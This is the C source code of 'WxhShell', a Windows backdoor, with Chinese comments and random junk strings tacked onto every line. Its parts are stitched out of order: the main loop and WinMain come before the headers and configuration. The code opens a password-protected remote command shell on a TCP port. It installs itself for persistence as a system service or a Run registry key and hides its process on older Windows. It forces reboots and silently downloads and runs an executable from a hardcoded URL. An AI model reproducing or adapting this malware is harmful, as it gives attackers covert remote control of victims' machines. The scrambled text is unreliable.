    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [(*ObvEF  
    if(Boot(SHUTDOWN)) &bh%>[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <=1nr@L  
    else { H1!u1k1nl  
    closesocket(wsh); 75>)1H)Xm  
    ExitThread(0); /' +GYS  
    } U|[+M@F_L  
    break; &OK[n1M  
    }  1rnbUE  
  // 获取shell w$E8R[J~P  
  case 's': { 9E@}@ZV(  
    CmdShell(wsh); @51!vQwqR  
    closesocket(wsh); #Cj$;q{!  
    ExitThread(0); P4h^_*d  
    break; AeQIsrAHE  
  } #YABb wH  
  // 退出 u~JCMM$  
  case 'x': { hxt,%al  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g}uVuK;<  
    CloseIt(wsh); 0uw3[,I   
    break; pwu8LQ3b{O  
    } !YM;5vte+  
  // 离开 ,WvCslZ  
  case 'q': { >~+'V.CNW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CLQE@kF;  
    closesocket(wsh); ;%#.d$cU  
    WSACleanup(); 7v{X?86&  
    exit(1); zB/)_AW  
    break;  Sj,>O:p  
        } HU~,_m  
  } ap 5D6y+  
  } .}xF2'~E/  
E%+aqA)f  
  // 提示信息 oU\Q|mN(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y2_^lW%  
} :)~idVlV  
  } ,_G((oS40  
QTy xx  
  return; /o/0 9K  
} ">-mZ'$#L  
:)djHPP*  
// shell模块句柄 kdr?I9kwW  
int CmdShell(SOCKET sock) !F^j\  
{ |z]O@@j$  
STARTUPINFO si; Xp_3EQl  
ZeroMemory(&si,sizeof(si)); *>=|"ff  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R)[ l 3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yf lt2 R  
PROCESS_INFORMATION ProcessInfo; bwr}Ge  
char cmdline[]="cmd"; dg(fD>+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E~b Yk6  
  return 0; /:<.Cn>-  
} rM{3]v{~  
Z'u:Em  
// 自身启动模式 %-A#7\  
int StartFromService(void) *E"OQsIl  
{ *[@k=!73  
typedef struct ;|.~'':  
{ S4'\=w #  
  DWORD ExitStatus; _QS+{  
  DWORD PebBaseAddress; +W xZB  
  DWORD AffinityMask; /d1 B-I  
  DWORD BasePriority; ~9tPT 0^+  
  ULONG UniqueProcessId; >$%rsc}^  
  ULONG InheritedFromUniqueProcessId; dxz.%a@PW  
}   PROCESS_BASIC_INFORMATION; qi ;X_\v  
hYj!*P)uV  
PROCNTQSIP NtQueryInformationProcess; H&yK{0H  
Ah|,`0dw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G"xa"hGF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O<H5W|cM  
&+K:pU?[$  
  HANDLE             hProcess; xM#+jI  
  PROCESS_BASIC_INFORMATION pbi; 7,pn0,HI  
qMHI-h_A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z. 6-D  
  if(NULL == hInst ) return 0; A.D@21py  
e2P ds`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H7I&Ky  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @$e!|.{1q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); szDd!(&pv  
RKt#2%FFO  
  if (!NtQueryInformationProcess) return 0; 3T<aGW1  
RV&=B%w+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $_u9Y!  
  if(!hProcess) return 0; 7*a']W{aJ  
i6.HR?n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +O2z&a;q  
o'`:$ (  
  CloseHandle(hProcess); ipIexv1/S  
8}Qmhm`_j=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IpRdGT02  
if(hProcess==NULL) return 0; ]P5|V4FXo  
]csfK${  
HMODULE hMod; *yDsK+[_  
char procName[255]; YpGG^;M$  
unsigned long cbNeeded; SDW_Y^Tb  
E|Q|Nx!6[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *[QFIDn:  
zx(=ArCRr  
  CloseHandle(hProcess); 9/@7NNKJ  
3=)!9;uY  
if(strstr(procName,"services")) return 1; // 以服务启动 8ph*S&H  
G!^}z (Mgi  
  return 0; // 注册表启动 w7;,+Jq  
} .o&Vu,/H  
]:6M!+?(  
// 主模块 +ROwk  
int StartWxhshell(LPSTR lpCmdLine) YyF=u~l  
{ `u *:wJsv  
  SOCKET wsl; TsvF~Gdp  
BOOL val=TRUE; >@mvb@4*  
  int port=0; DO^K8~]  
  struct sockaddr_in door; Ag6^>xb^  
5V{> 82  
  if(wscfg.ws_autoins) Install(); $z"1&y)  
gXQ s)Eyv  
port=atoi(lpCmdLine); $N[R99*x8  
(9_O ||e e  
if(port<=0) port=wscfg.ws_port; ^1b/Y8&8A  
ISbhC!59  
  WSADATA data; '0\v[f{K3G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,f]GOH  
Y >83G`*}b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I|SQhbi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XEB1%. p  
  door.sin_family = AF_INET; j\uh]8N3<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -VO&#Mt5u  
  door.sin_port = htons(port); "6<L) 8  
B F,8[|%#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %+{[%?xh  
closesocket(wsl); ?KKu1~a_  
return 1; "s!|8F6$  
} m! 3e>cI  
FthrI  
  if(listen(wsl,2) == INVALID_SOCKET) { h3<L,Olp  
closesocket(wsl); -!C9x?gNY  
return 1; V*C%r:5 ,v  
} 5N_w(B  
  Wxhshell(wsl); zD9gE  
  WSACleanup(); 1h[xVvo<L  
SFiK_;  
return 0; kw gsf5[  
0?{Y6:d+  
} qSg=[7XOO  
k,kr7'Q  
// 以NT服务方式启动 EJz?GM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T|L_ +(M{  
{ -fA1_ ?7S  
DWORD   status = 0; DMcH, _(  
  DWORD   specificError = 0xfffffff; k-zkb2  
q9^6A90  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C;EC4n+s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $ncJc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ptlcG9d-  
  serviceStatus.dwWin32ExitCode     = 0; \D<w:\P  
  serviceStatus.dwServiceSpecificExitCode = 0; .EXe3!J)!  
  serviceStatus.dwCheckPoint       = 0; :|V`QM  
  serviceStatus.dwWaitHint       = 0; T[<deQ  
PE\.JU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,ezC}V0M  
  if (hServiceStatusHandle==0) return; RM(MCle}  
\a}_=O  
status = GetLastError(); U =G}@Y  
  if (status!=NO_ERROR) ?C6DK{S(  
{ n$03##pf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b)e';M  
    serviceStatus.dwCheckPoint       = 0; e0nr dM[i  
    serviceStatus.dwWaitHint       = 0; )^)j=xs  
    serviceStatus.dwWin32ExitCode     = status; 6 #vc"5@M  
    serviceStatus.dwServiceSpecificExitCode = specificError; *\M$pUS{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {+SshT>J  
    return; b;K]; o-/f  
  } keMfK ]9  
yt@;yd:OEk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6~rO(  
  serviceStatus.dwCheckPoint       = 0; X S&oW  
  serviceStatus.dwWaitHint       = 0; c2,;t)%@E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KIeTZVu$%  
} w~n7l97Pw  
"7. lsL5  
// 处理NT服务事件,比如:启动、停止 z5k9|.hgw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ol@ssm  
{ 9!kH:Az[p  
switch(fdwControl) xyvG+K&  
{ 4uV,$/  
case SERVICE_CONTROL_STOP: M`=bJO:  
  serviceStatus.dwWin32ExitCode = 0; [JzOsi~R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5{esL4k  
  serviceStatus.dwCheckPoint   = 0; #@v$`Df<  
  serviceStatus.dwWaitHint     = 0; GcpAj9  
  { 5J1q]^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M;$LB@h  
  } TA"4yri=7x  
  return; kR1dk4I4  
case SERVICE_CONTROL_PAUSE: d${RZ}/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IcDAl~uG  
  break; ="<S1}.  
case SERVICE_CONTROL_CONTINUE: $X;wj5oj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; waYH_)Zx  
  break; dPtQ Sa  
case SERVICE_CONTROL_INTERROGATE: 1;Q>B>6  
  break; ]%4rL S  
}; @TWtM#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Dv6z t>  
} %{sL/H_  
jr=>L:  
// 标准应用程序主函数 (oiF05n h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i=ztWKwKf  
{ t]QGyW A]  
K~MTbdg  
// 获取操作系统版本 .Y^UPxf@  
OsIsNt=GetOsVer(); YcQ3 :i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U&\2\z3{  
?u)[xEx6}+  
  // 从命令行安装 O6Gg?j  
  if(strpbrk(lpCmdLine,"iI")) Install(); j_I  
@|1/yQgi  
  // 下载执行文件 * I{)8  
if(wscfg.ws_downexe) { :/1/i&a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m K);NvJ!  
  WinExec(wscfg.ws_filenam,SW_HIDE); _Q $D6+  
} )}KQtkU8:  
3H'+7[~qH  
if(!OsIsNt) { qOi3`6LCV  
// 如果时win9x,隐藏进程并且设置为注册表启动 HJh9 <I  
HideProc(); Y >N`(  
StartWxhshell(lpCmdLine); /P8`)?f~y  
} DOzJ-uww1  
else SjZ?keKZ  
  if(StartFromService()) S(b5Gj/Kd  
  // 以服务方式启动 |iJ+e -_R  
  StartServiceCtrlDispatcher(DispatchTable); !8#!P  
else 5ZPe=SQ{  
  // 普通方式启动 `B4Px|3  
  StartWxhshell(lpCmdLine); ,Z"l3~0\  
7LB#\2  
return 0; eL7rX"!  
} UhX`BGpM{  
` s}v6  
R8ui LZd  
v.aSf`K  
=========================================== m&h5u,  
YnCWmlC  
#f 4"  
z3lMD'uU3  
.-0;:>  
wU|Y`wJmF  
" jgb>:]:  
0tzMu#  
#include <stdio.h> x!<?/I)X  
#include <string.h> nKoc%TNqe  
#include <windows.h> e+ZC<Bdh  
#include <winsock2.h> -bq\2Yc$]  
#include <winsvc.h> g@ ZZcBx  
#include <urlmon.h> 'x-PQQ  
6}vPwI  
#pragma comment (lib, "Ws2_32.lib") vT7ei"~&u  
#pragma comment (lib, "urlmon.lib") I2b\[d  
e?&4;  
#define MAX_USER   100 // 最大客户端连接数 m9Z3q ;  
#define BUF_SOCK   200 // sock buffer =}12S:Qhj  
#define KEY_BUFF   255 // 输入 buffer TAbC-T.EV  
tvC7LLNP<  
#define REBOOT     0   // 重启 @Lj28&4:<  
#define SHUTDOWN   1   // 关机 (S@H'G"  
P9wx`x""k  
#define DEF_PORT   5000 // 监听端口 +bj[.  
` _+j+  
#define REG_LEN     16   // 注册表键长度 ^<@9ph  
#define SVC_LEN     80   // NT服务名长度 #Moju  
f y|Ae  
// 从dll定义API mST/u>'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fYU-pdWPT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #\&jM -.-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KL4Z||n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D/jS4'$vA  
JQ*CF(9  
// wxhshell配置信息 fRTQ5V  
struct WSCFG { 6^L4wd7)  
  int ws_port;         // 监听端口 TV>UD q  
  char ws_passstr[REG_LEN]; // 口令 8^H <dR  
  int ws_autoins;       // 安装标记, 1=yes 0=no *(~=L%s  
  char ws_regname[REG_LEN]; // 注册表键名 D [#1~M  
  char ws_svcname[REG_LEN]; // 服务名 qYMTud[Vf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A3UC=z<y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iG[an*#X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V0]6F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ef;OrE""  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @Y#{[@Hp%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ypuW}H%`  
NA,)FmQjk  
}; kCRP?sj  
| Wrf|%p  
// default Wxhshell configuration !J}Bv  
struct WSCFG wscfg={DEF_PORT, Xeg g2.Kk  
    "xuhuanlingzhe", ;UU+:~  
    1, Jmln*,Ol7  
    "Wxhshell", h5bQ  
    "Wxhshell", T/%s7!E  
            "WxhShell Service", \h%/Cp+p  
    "Wrsky Windows CmdShell Service", a9ab>2G?FR  
    "Please Input Your Password: ", cTKj1)!z?X  
  1, :VPZGzK4  
  "http://www.wrsky.com/wxhshell.exe", <B;l).[6  
  "Wxhshell.exe" r )cG ee  
    }; e1dT~l  
[Ng#/QXk{  
// 消息定义模块 ^G,]("di`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t Ztyx;EP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (8<U+)[tPy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1 )aB']K%  
char *msg_ws_ext="\n\rExit."; :bLLN  
char *msg_ws_end="\n\rQuit."; FuNc#n>  
char *msg_ws_boot="\n\rReboot..."; zY<=r.m4  
char *msg_ws_poff="\n\rShutdown..."; c}II"P  
char *msg_ws_down="\n\rSave to "; C?bq7kD:H  
+jFcq:`#UG  
char *msg_ws_err="\n\rErr!"; Rld1pX2v  
char *msg_ws_ok="\n\rOK!"; CQo<}}-o  
%Ot22a  
char ExeFile[MAX_PATH]; Q'] _3  
int nUser = 0; ta*B#2D>  
HANDLE handles[MAX_USER]; -E4e8'P;5  
int OsIsNt; 1/Pou)D  
\c&%F=1+*  
SERVICE_STATUS       serviceStatus; 4VjP:>*p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HR55|`]  
;zD1#dD  
// 函数声明 A0SEzX({[  
int Install(void); -.|V S|y  
int Uninstall(void); C?e1 a9r  
int DownloadFile(char *sURL, SOCKET wsh); :XK.A   
int Boot(int flag); nf5Ld"|%9  
void HideProc(void); V `V Z[  
int GetOsVer(void); S x';Cj-  
int Wxhshell(SOCKET wsl); "-Lbz)k  
void TalkWithClient(void *cs); W9~vBU  
int CmdShell(SOCKET sock); !3{> F"  
int StartFromService(void); C>q,c3s5  
int StartWxhshell(LPSTR lpCmdLine); V:rq}F}  
**V^8'W<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ">}l8MA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y K~;LV  
I| qoHN,g  
// 数据结构和表定义 dnVl;L8L3  
SERVICE_TABLE_ENTRY DispatchTable[] = @, D 3$P8}  
{ K@P5]}'#  
{wscfg.ws_svcname, NTServiceMain}, )8ejT6r  
{NULL, NULL} EKsL0;FV  
}; sO~:e?F  
7hq*+e  
// 自我安装 6 6x> *  
int Install(void) +A 6xY  
{ hPhNDmL#3  
  char svExeFile[MAX_PATH]; `MAluu+b  
  HKEY key; >-YPCW  
  strcpy(svExeFile,ExeFile); CwQgA%) !i  
g&y'#,'Q~,  
// 如果是win9x系统,修改注册表设为自启动 )6#dxb9  
if(!OsIsNt) { e%w>QN`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~y%8uHL:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <N11$t&_  
  RegCloseKey(key); "q(#,,_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { klduJ T >  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SF2A?L?}+  
  RegCloseKey(key); q1sK:)Hu+  
  return 0; xmxfXW  
    } @.f@N;z  
  } A0sydUc  
} $d M: 5y  
else { [vkz<sL"  
M7 &u_Cn?  
// 如果是NT以上系统,安装为系统服务 ~d :Z |8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s7 IaU|m  
if (schSCManager!=0) !8^:19+  
{ je1f\N45  
  SC_HANDLE schService = CreateService <JE-#i  
  ( TIbqUR  
  schSCManager, jW5n^Y)  
  wscfg.ws_svcname, sw{,l"]<  
  wscfg.ws_svcdisp, 76a+|TzR  
  SERVICE_ALL_ACCESS, {x e$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W-:gU!{*#  
  SERVICE_AUTO_START, 60P^aj$V  
  SERVICE_ERROR_NORMAL, \x i wp.  
  svExeFile, `JyTS~v$  
  NULL, uM,bO*/f  
  NULL, ((wG K|d  
  NULL, 8Czy<}S<G  
  NULL, ;hi+.ng_  
  NULL #/zPAcV:  
  ); DQM\Y{y|3  
  if (schService!=0) d:C-   
  { <:)T7yVq  
  CloseServiceHandle(schService); S 8mqz.  
  CloseServiceHandle(schSCManager); /Fej)WQp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @EH:4~  
  strcat(svExeFile,wscfg.ws_svcname); @^oOXc,r$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'NF_!D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z,/BPK<e  
  RegCloseKey(key); u1a5Vtel  
  return 0; rMIr&T  
    } ,@ A1eX}  
  } sXp>4MomV  
  CloseServiceHandle(schSCManager); }:C4T*|  
} ri&B%AAc  
} 2bBTd@m4  
;o]'7qGb  
return 1; :IDD(<^9  
} ; mF-y,E  
yCZV:R;  
// 自我卸载 *(@(9]B~  
int Uninstall(void) hM^#X,7  
{ `2\vDy1,j  
  HKEY key; kxt@t#  
9,=3D2x&  
if(!OsIsNt) { p_S8m|%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MVU5+wX  
  RegDeleteValue(key,wscfg.ws_regname); ]5W0zNb*  
  RegCloseKey(key); AVyO5>w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v;" [1w}  
  RegDeleteValue(key,wscfg.ws_regname); vt}+d StUm  
  RegCloseKey(key); 8qL*Nf  
  return 0; Xk%92Pto  
  } g#qt<d}j  
} @ROMHMd}  
} @0A7d $J(  
else { wvsKn YKX  
Ub=g<MYHV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cw]& B  
if (schSCManager!=0) /gT$d2{  
{ hXdc5 ?i?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _#xS1sD  
  if (schService!=0) +c5z-X$^]  
  { <wUDcF  
  if(DeleteService(schService)!=0) { }N^.4HOS8  
  CloseServiceHandle(schService); h}fz`ti U  
  CloseServiceHandle(schSCManager); d)F~)}TFM  
  return 0; K.c6n,'  
  } 8<ZxE(v  
  CloseServiceHandle(schService); =!m5'$Uz>  
  } 57IAH$n8o  
  CloseServiceHandle(schSCManager); ^c3~CD5H 3  
} 6KPM4#61o  
} :5hKE(3Q  
MIvAugUOl  
return 1; ,R/HT@  
} r4/G&m[V  
L A-H  
// 从指定url下载文件 |f1 S&b.  
int DownloadFile(char *sURL, SOCKET wsh) WGFp<R  
{ {pMbkA Q@  
  HRESULT hr; hI*gw3V  
char seps[]= "/"; j|"#S4IX)F  
char *token; |F z/9+I  
char *file; e9/:q"*)/  
char myURL[MAX_PATH]; VqqI%[!Aw  
char myFILE[MAX_PATH]; (@*[^@ipV  
tcyami6D4  
strcpy(myURL,sURL); t%Hg8oya  
  token=strtok(myURL,seps); S 4uX utd  
  while(token!=NULL) = #]^H c  
  { <EFA^,3t%  
    file=token; ,K=\Y9l3  
  token=strtok(NULL,seps); Zyxr#:Qm  
  } o-\ K]  
. (G9mZFV  
GetCurrentDirectory(MAX_PATH,myFILE); Rhh5r0 \5  
strcat(myFILE, "\\"); ||3%REliC  
strcat(myFILE, file); !'uL  
  send(wsh,myFILE,strlen(myFILE),0); V(Ll]g/T_;  
send(wsh,"...",3,0); PjZsMHW%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;Z|X` <6g  
  if(hr==S_OK) 7Y T%.ID  
return 0; ]w z`j1  
else h`n,:Y^++P  
return 1; ek!x:G$'  
%PozxF:  
} Zg1=g_xY  
a^_\#,}  
// 系统电源模块 xtW Q.  
int Boot(int flag) .%;`: dtj  
{ o))z8n?b  
  HANDLE hToken; -d]-R ?mQ  
  TOKEN_PRIVILEGES tkp; X!Ag7^E  
BM5+;h !  
  if(OsIsNt) { ~t7?5b?*\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "8}p>gS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D/QSC]"  
    tkp.PrivilegeCount = 1; G"P@AOw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R6l`IlG`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _'DT)%K  
if(flag==REBOOT) { "SC}C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -|;{/ s5  
  return 0; y%%D="  
} SQ%B"1&$D  
else { ,aOi:aaZRT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j"6r]nc&  
  return 0; o %GVg  
} 8,iBG! RF  
  } &Omo\Oq&W>  
  else { lz2B,#  
if(flag==REBOOT) { 3z7SK Gy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nvY3$ Ty  
  return 0; K8[vJ7(!|  
} Y,BzBUWK  
else { "B`k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o 4G%m>$  
  return 0; -]yM<dP  
}  v?Dc3  
} FYPv:k   
dr3j<D-Q  
return 1; x(oL\I_Z  
} v2=Iqo  
}j<:hD QP  
// win9x进程隐藏模块 y4sKe:@2  
void HideProc(void) }-YM>q  
{ JSz;>  
dH:z _$Mg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yOR]r+8  
  if ( hKernel != NULL ) b(^/WCykH  
  { W^j;"qj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mttt]]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7A:k  
    FreeLibrary(hKernel); Bgb~Tz'  
  } KnL-qc  
e4:,W+g,9  
return; ay~c@RXW  
} @yc/1u $r  
qe. Qjq  
// 获取操作系统版本 t &scvXh  
int GetOsVer(void) |2RoDW  
{ [+ ,%T;d;  
  OSVERSIONINFO winfo; : :;YS9e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y04md A6<  
  GetVersionEx(&winfo); ~N "rr.w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \S #Mc  
  return 1; &1nZ%J9  
  else z+3G zDLy  
  return 0; WcRTv"4&  
} h8 Wv t's  
^a+W!  
// 客户端句柄模块 k;EG28   
int Wxhshell(SOCKET wsl) r?cDyQE  
{ K4w %XVaH  
  SOCKET wsh; C8ss6+k&  
  struct sockaddr_in client; kyV!ATL1F  
  DWORD myID; vh+ ' W  
%3p~5jhm1  
  while(nUser<MAX_USER) 2rxZN\gyL  
{ T}fH  
  int nSize=sizeof(client); jnF-kia  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !9 7U2L4  
  if(wsh==INVALID_SOCKET) return 1; ^YVd^<cE  
'v|R' wi\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [[vu#'bc  
if(handles[nUser]==0) w4:|Z@I  
  closesocket(wsh); NT(gXEZ  
else r.-U=ql  
  nUser++; 5&Y%N(  
  } D,$!.5OA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j%w}hGW%,  
6?B'3~ r  
  return 0; K;uOtbdOK  
} R0 yPmh,{  
M:[rH  
// 关闭 socket }uZtAH|  
void CloseIt(SOCKET wsh) [K5#4k  
{ `vbd7i  
closesocket(wsh); MxXf.iX&  
nUser--; +V2\hq[{  
ExitThread(0); n,,hE_  
} #.Q3}[M  
9^yf'9S1  
// 客户端请求句柄 |ZJ<J)y  
void TalkWithClient(void *cs) m!'moumL;  
{ *U<l$gajq  
$!?tJ@{  
  SOCKET wsh=(SOCKET)cs; 2il)@&^  
  char pwd[SVC_LEN]; %R|_o<(#MJ  
  char cmd[KEY_BUFF]; L>trLD1pt  
char chr[1]; MKdS_&F;~  
int i,j; HACY  
p* '%<3ml  
  while (nUser < MAX_USER) { Wi;wu*  
)Bz2-|\  
if(wscfg.ws_passstr) { /5**2Kgv1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J&hzr t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a9f!f %9  
  //ZeroMemory(pwd,KEY_BUFF); AiF'*!1  
      i=0; SRP.Mqg9  
  while(i<SVC_LEN) { CIt%7 \c  
1\t#*N  
  // 设置超时 iY~.U`b`  
  fd_set FdRead; NA :_yA"  
  struct timeval TimeOut; \zx &5a #  
  FD_ZERO(&FdRead); ~]w|ULNa3|  
  FD_SET(wsh,&FdRead); _ ^2\/@  
  TimeOut.tv_sec=8; # dA-dN  
  TimeOut.tv_usec=0; bU3P; a(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {4C/ZA{|l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cr wui8  
B,x ohT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \Fh#CI  
  pwd=chr[0]; bmid;X|  
  if(chr[0]==0xd || chr[0]==0xa) { fen~k#|l  
  pwd=0;  AhyV  
  break; jV|j]m&t  
  } ~10>mg  
  i++; },]G +L;R  
    } $ [t7&e  
_N @ h  
  // 如果是非法用户,关闭 socket ;q"Yz-3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~[N"Q|D3Y  
} B2kKEMdGg  
$>M-oNeC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hx.ln6=4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `GpOS_;  
On`T pz/  
while(1) { 1(YEOZ  
}G/#Nb)  
  ZeroMemory(cmd,KEY_BUFF); )01,3J>#  
^ UDNp.6k  
      // 自动支持客户端 telnet标准   u4KP;_,m  
  j=0; #$dEg  
  while(j<KEY_BUFF) { !T|q/ri  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X]1Q# $b  
  cmd[j]=chr[0]; }Sx+:N*  
  if(chr[0]==0xa || chr[0]==0xd) { uHQf<R$:  
  cmd[j]=0; u3k{s  
  break; W"meH~[Cp  
  } Gi+ZI{)  
  j++; W2`/z)[*>  
    } yKhN1kY  
/cXVJ(#j  
  // 下载文件 {CaTu5\  
  if(strstr(cmd,"http://")) { ZzO^IZKlC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fep8hf B;  
  if(DownloadFile(cmd,wsh)) fxOa(mt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RxB9c(s^@  
  else C$x r)_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $[6]Ly(F)  
  } 0|chRX  
  else { q(XO_1W0V  
oro^'#ki  
